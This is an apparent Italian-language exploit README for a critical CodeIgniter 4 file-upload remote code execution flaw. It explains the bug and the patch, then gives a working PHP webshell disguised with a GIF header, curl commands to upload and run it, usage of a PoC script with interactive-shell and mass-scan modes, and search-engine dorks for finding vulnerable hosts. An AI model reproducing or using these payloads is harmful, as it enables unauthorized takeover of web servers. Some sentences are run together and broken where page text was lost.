
CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in File Upload RCE. Bypass dei byte magici (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4
CVE-2026-63223 è una vulnerabilità di remote code execution non autenticata con severità critica (CVSS 9.8) in CodeIgniter 4, un framework web full-stack in PHP, che colpisce le versioni precedenti alla 4.7.4.
La vulnerabilità sfrutta le regole di validazione del caricamento file is_image e mime_in, che ispezionano (magic bytes) senza validare l'estensione del nome file fornita dal client. Un attaccante antepone magic bytes di immagini (header GIF89a, JPEG, PNG) al codice PHP, assegna al file il nome , supera la validazione e ottiene RCE quando il file finisce in una directory accessibile via web ed eseguibile da PHP.
shell.phpCVSS: 9.8 CRITICO —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HScoperta: 31 luglio 2026 | Advisory: GHSA-mmj4-63m4-r6h5 Corretta in: CodeIgniter 4 v4.7.4
| Versione | Stato |
|---|---|
| < 4.7.4 | Vulnerabile |
| 4.7.4+ | Patchata |
CWE: CWE-434 — Caricamento senza restrizioni di file con tipo pericoloso PoC di riferimento: imbas007/CVE-2026-63223-POC
La regola di validazione is_image di CodeIgniter 4 mappa getExtension() — che restituisce l'estensione derivata dai magic bytes (es. gif) — tramite Mimes::guessTypeFromExtension() per determinare se il file è un'immagine. L'estensione del nome file fornita dal client (getClientExtension(), es. php) non viene mai controllata:
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
// ...
$type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
// ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
if (mb_strpos($type, 'image') !== 0) {
return false; // "image/gif" → passes!
}
return true; // never checks getClientExtension() = "php"
}
getExtension() ≠ getClientExtension() — la prima deriva dai magic bytes (gif), la seconda dal nome file del client (php)is_image viene superata perché Mimes::guessTypeFromExtension("gif") restituisce image/gif$file->move($path, $file->getClientName()) preserva l'estensione .php1. Attacker generates PHP webshell with GIF89a header
→ file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
→ is_image validates: image/gif → PASS
→ File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
→ Apache passes .php to PHP-FPM → PHP executes
→ GIF89a output as plaintext, then <?php code runs
4. RCE as www-data
Il patch aggiunge hasInvalidImageClientExtension() — ora controlla anche l'estensione del client:
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
// ↑ NOW checks getClientExtension() = "php"!
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
// ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
return mb_strpos($type, 'image') !== 0; // TRUE → REJECT!
}
Il cambiamento chiave: is_image ora valida sia getExtension() (derivata dal contenuto, per il controllo effettivo dell'immagine) sia getClientExtension() (fornita dal client, per rifiutare estensioni non-immagine come .php).
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar
# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"
# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell
# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php
# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20
-t, --target Single target URL
-f, --file Target list, one per line
-e, --endpoint Vulnerable upload endpoint (default: /upload/avatar)
--field FIELD Upload form field name (default: avatar)
--method {gif,jpg,png} Magic bytes disguise (default: gif)
--filename NAME Shell filename (default: shell.php)
-c, --command Shell command to execute (default: id)
--shell Interactive pseudo-shell mode
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
Host : ci4-app.com
CodeIgniter 4 : YES
Upload : YES
Shell URL : http://ci4-app.com/uploads/shell.php
RCE : YES
RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar
# Execute
curl http://target/uploads/evil.php?c=id
FOFA: body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"
Lo sfruttamento riuscito consente di ottenere remote code execution come utente del web server:
.envNon è richiesto alcun account o autenticazione — di default, gli endpoint di upload che utilizzano is_image/mime_in senza ext_in sono vulnerabili.
is_image/mime_in alla regola di validazione ext_inreadfile()getRandomName()SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.
Non utilizzare contro sistemi senza esplicita autorizzazione. Gli autori non si assumono alcuna responsabilità per un uso improprio.
| Risorsa | Link |
|---|---|
| Advisory GitHub | GHSA-mmj4-63m4-r6h5 |
| PoC di riferimento | imbas007/CVE-2026-63223-POC |
| Scheda NVD | CVE-2026-63223 |
| CodeIgniter v4.7.4 | Changelog |
| CWE-434 | Caricamento senza restrizioni |
Non affiliato alla CodeIgniter Foundation.